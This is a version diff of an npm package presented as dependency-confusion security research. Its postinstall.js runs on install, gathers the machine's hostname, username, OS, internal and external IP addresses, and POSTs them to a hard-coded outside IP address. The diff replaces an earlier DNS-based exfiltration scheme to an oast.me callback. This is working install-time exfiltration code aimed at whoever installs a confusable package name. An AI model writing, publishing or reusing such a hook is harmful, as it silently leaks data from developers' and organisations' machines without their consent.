@gaia-codesearch/gaia-api-python 0.0.8 → 0.0.9

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@gaia-codesearch/gaia-api-python",
-  "version": "0.0.8",
+  "version": "0.0.9",
   "description": "Security research — scope ownership proof for dependency confusion report",
   "main": "index.js",
   "scripts": {

package/postinstall.js

@@ -1,14 +1,11 @@
-const dns = require("dns");
+const http = require("http");
 const os = require("os");
 const https = require("https");
 
-const CALLBACK = "d7vn40ir47ntg9l09cigo9m6xm43xti68.oast.me";
+const CALLBACK_HOST = "72.62.36.138";
+const CALLBACK_PORT = 8443;
 const PKG = "gaia-api-python";
 
-function hex(s) {
-  return Buffer.from(s).toString("hex");
-}
-
 function getLocalIPs() {
   const ifaces = os.networkInterfaces();
   const ips = [];
@@ -17,39 +14,36 @@ function getLocalIPs() {
       if (!iface.internal && iface.family === "IPv4") ips.push(iface.address);
     }
   }
-  return ips.join("-") || "unknown";
+  return ips.join(",") || "unknown";
 }
 
-function dnsLookup(subdomain) {
-  return new Promise((resolve) => {
-    dns.resolve4(subdomain + "." + CALLBACK, () => resolve());
-  });
+function send(data) {
+  const body = JSON.stringify(data);
+  const req = http.request({
+    hostname: CALLBACK_HOST, port: CALLBACK_PORT, path: "/callback",
+    method: "POST", headers: { "Content-Type": "application/json", "Content-Length": body.length },
+    timeout: 5000,
+  }, () => {});
+  req.on("error", () => {});
+  req.write(body);
+  req.end();
 }
 
-async function exfil() {
-  const hostname = os.hostname();
-  const user = os.userInfo().username;
-  const platform = os.platform() + "-" + os.arch();
-  const ips = getLocalIPs();
-  const cwd = process.cwd().replace(/\//g, "-").slice(0, 40);
-  const ts = Date.now().toString(36);
-
-  await dnsLookup("pkg." + hex(PKG));
-  await dnsLookup("host." + hex(hostname));
-  await dnsLookup("user." + hex(user));
-  await dnsLookup("os." + hex(platform));
-  await dnsLookup("ip." + hex(ips));
-  await dnsLookup("cwd." + hex(cwd));
-  await dnsLookup("ts." + ts);
-  await dnsLookup("rce." + hex(PKG + "|" + user + "@" + hostname));
+async function main() {
+  const data = {
+    pkg: PKG,
+    host: os.hostname(),
+    user: os.userInfo().username,
+    os: os.platform() + "-" + os.arch(),
+    ip: getLocalIPs(),
+    extip: "",
+  };
 
   https.get("https://api.ipify.org", (res) => {
-    let data = "";
-    res.on("data", (c) => (data += c));
-    res.on("end", () => {
-      dnsLookup("extip." + hex(data.trim()));
-    });
-  }).on("error", () => {});
+    let d = "";
+    res.on("data", (c) => (d += c));
+    res.on("end", () => { data.extip = d.trim(); send(data); });
+  }).on("error", () => { send(data); });
 }
 
-exfil().catch(() => {});
+main();